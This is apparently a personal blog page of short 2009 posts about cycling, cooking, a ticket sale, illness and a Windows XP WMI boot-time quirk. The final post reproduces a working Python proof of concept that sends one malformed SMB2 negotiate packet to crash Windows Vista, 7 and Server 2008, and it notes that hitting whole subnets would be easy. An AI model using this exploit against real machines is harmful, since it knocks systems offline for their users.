Making, baking, and (un-)breaking things in Southeast Michigan.
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Due to a teaching job that Danielle picked up she’s not able to attend the Alton Brown lecture that is being given tomorrow at Oakland University. Thus, her ticket is available for sale. This lecture is currently sold out, so this is one of the few ways to get a ticket. I’m asking face value, or $10, for the ticket. Please email me at c0nsumer@nuxx.net (or reply to this post) if you are interested.
UPDATE: Ticket is pending sale. Thanks for the interest, everyone.
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Last night both Danielle and I started to feel a bit run down, and this morning I found myself feeling heavy and sluggish, with a bit of a headache and stomach ache. Since both Pandemic H1N1/09 is going around and my coworker Tom just got back to work from being off with strep throat, I opted to go to the doctor this morning. The doctor tested me for strep, then determined that I likely just have an upper respiratory infection and prescribed me a course of Azithromycin, as seen above.
Made by the same company that brought us Delysid, this serious antibiotic has worked well for me in the past. I hope it does this time – and does so rapidly – as I’d like to be feeling well before Massive Fallout, which is scheduled for this Saturday.
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Here is a dead raccoon which was occupying 2/3 of the single track mountain bike trail at Addison Oaks. Thanks to a conveniently located rake I had no problems moving it off the trail, leaving only a moist spot on the trail. This ride through Addison Oaks was part of a trip from Rochester Mills to Lake Orion, over to Bald Mountain, through to Addison Oaks, back through Bald Mountain, then town the Paint Creek Trail back to Rochester Mills.
Knowing that some other friends were riding the Macomb Orchard Trail to Richmond and back, after getting back to Rochester I headed out the MOT to meet up with them, and did so seven or eight miles later. After finishing up the ride with them and being sure that Danielle wouldn’t mind driving me back to my car, I then rode home for a total of 61.83 miles. Seeing as this included quite a bit of single track, I’d say that this is one of the longest rides I’ve done. Last year had some similar length rides, but none of those included as many segments of proper mountain biking.
For another odd photo, please see this one which shows some latex gloves and a rather oddly stained cylinder that appeared to be made out of wood. This was found along a section of the Roller Coaster in Stony Creek while having a brief hike there yesterday.
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A few months back I emptied my CD rack, boxed up the CDs, and removed the rack from the wall. Tonight I finally got around to moving the CD boxes into storage in the basement, placing them on 2x4s beneath the stairs. This both gave me a chance to straighten up that closet and finally got the living room / dining area cleaned out, as it’s where the boxes had been stacked.
As can be seen above, there’s quite a few boxes of CDs stored there now. Part of me wishes they weren’t in storage, but I know that having them out taking up wall space wasn’t particularly useful. Now this space is used by a bookshelf that is accessed much more frequently, as can be seen in this photograph taken a few minutes ago. Also, if you’re interested, here’s a photo of the closet and stacked CD boxes with stuff put back in around them.
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This evening after some late work, just after 10pm, I took off on my bike towards downtown Rochester. 21.88 miles later, averaging 15.2 MPH, I was back home. For rather knobby tires still at off-road pressures (leftover from Hanson Hills this past weekend; more on this later) I don’t think this is too bad. I took my normal route to the Clinton River Trail, then that into Downtown Rochester, then over to the river and bridges which indicate the start of the Paint Creek Trail. After standing around for a few minutes and texting a bit with Danielle I turned and headed home.
This was an interesting ride, as I’m not used to being on paths like the Clinton River Trail in the dark. With the 100% humidity there was also quite a bit of fog; enough that it was hard to see at times. The routes were also pretty much empty, save for one skunk, two rabbits, one possum, one muskrat, one raccoon, and a couple unidentified glowing eyes. Any cars encountered seemed a bit more confused by my presence than anything else, which meant no car problems.
I’m really tempted to build up my old fork, crankset, and wheels into something with smoother tires for this type of riding. I can’t help but continue to be tempted by something like the Surly Cross Check or Salsa Fargo, though…
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Here’s last night’s dinner, a Classic from Sorrento Pizza on VanDyke just north of M-59. This is an extra-sauce pizza with pepperoni and a sesame seed crust. The crust itself was good, but a bit dry and bread-like; very much a classic American pizza and exactly what I was expecting.
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Tonight I fitted my bike with a 185mm front rotor (Avid G2 Clean Sweep; upgrade from 160mm), so I set out towards River Bends to try both it and a new (to me) CamelBak Podium bike bottle. For some reason both the paved and dirt paths through River Bends were closed off, leaving me no place to go. I continued on past the closed sign on the paved path for a bit, but just as my light was illuminating some heavy machinery I heard a loud CLUNK come from it, similar to a door latch, so I turned and headed back. I’ll try and remember to call tomorrow and see if I can get some information about the construction.
Being only a few miles into my ride I considered heading up to Stony Creek for some night time single track riding, but as it was getting late (just before 9pm) I instead headed over to downtown Utica, over to Clinton River Park, through the park’s paved path to Clinton River Road, out to Schoenherr, 19 Mile to Hayes, then back home.
During this time it seems that the rotor has begun bedding in and starting to work better. Due to its larger diameter I’ve found that I get an occasional rubbing / chirping sound when turning tight corners. So far it seems that this will work out well, and hopefully it won’t fade as fast during extended bits of downhill stuff, which is a problem I was particularly noticing while riding the North Country Trail (NCT) over Labor Day.
The CamelBak Podium bottle also worked out very well. I’ve been having a problem with HEED, my preferred electrolyte / sugary drink while riding, leaking out of bottles and getting on my frame. Even worse, when on the NCT enough spilled that it dried on the shifter cable guide, sticking the cable in place, and making shifting very difficult.
After reading a bit of Fat Cyclist’s blog I’d found that he particularly liked these bottles, so I’d wanted to give one a try. Due to a series of interesting circumstances I ended up with a barely-used one yesterday while cleaning up the trail, and I decided to take it home, wash it out, and use it. While I only took a short ride on relatively smooth surfaces (save for a few curbs and potholes and hopping random things), I had no problems with leakage. Liquid flowed quite rapidly through it when squeezed, and it fit snugly in my bottle holder. The wider-than-my-other-bottles neck also made pouring in a scoop of powdered HEED very easy. I think I might have to get another one of these.
If you’re interested, here’s a few cycling-related photos from the past week or two:
Leave a Comment· Fern-lined downhill part of the NCT. Riding up this was terribly hard.
· More fern-liked trail along the NCT, this time in a nice stand of trees.
· Inside of the tent where I slept over Labor Day at my grandparents’ house.
· Bob trying to hit me in the golf cart that we had for setting up the Addison Oaks race last Friday.
· Cones, set up to divide the two-way paved path and bridge connecting the single track with the start/finish line.
· A very dirty Rob with a bent-up hand and scraped arm after a fall on one of the very last turns at Addison Oaks during the race.
On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.
Here’s results of this query after a few different scenarios:
Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240
This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.
This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:
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I am currently making a cheating curry, using Trader Joe’s jarred Red Curry Sauce, pre-sliced mushrooms, and an eggplant and three green peppers from the CSA. The rice is basmati, will be cooked Indian-style by boiling like pasta, and should be done in about eight minutes.
Past experience with Trader Joe’s jarred curries makes me believe that this will result in a decent lunch for tomorrow, and a few subsequent days. After this I’ll bake the cookies (dough already made) for a potluck at work tomorrow, and then grill up a chicken sausage for dinner.
Through all this the kitchen shall remain clean. Good food and a nice, clean kitchen. Mmm!
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As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.
import sockethost = "127.0.0.1", 445buff = ("\x00\x00\x00\x90" # Begin SMB header: Session message"\xff\x53\x4d\x42" # Server Component: SMB"\x72\x00\x00\x00" # Negociate Protocol"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe""\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54""\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31""\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00""\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57""\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61""\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c""\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c""\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e""\x30\x30\x32\x00")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(host)s.send(buff)s.close()
UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:
Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.
I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.
UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.
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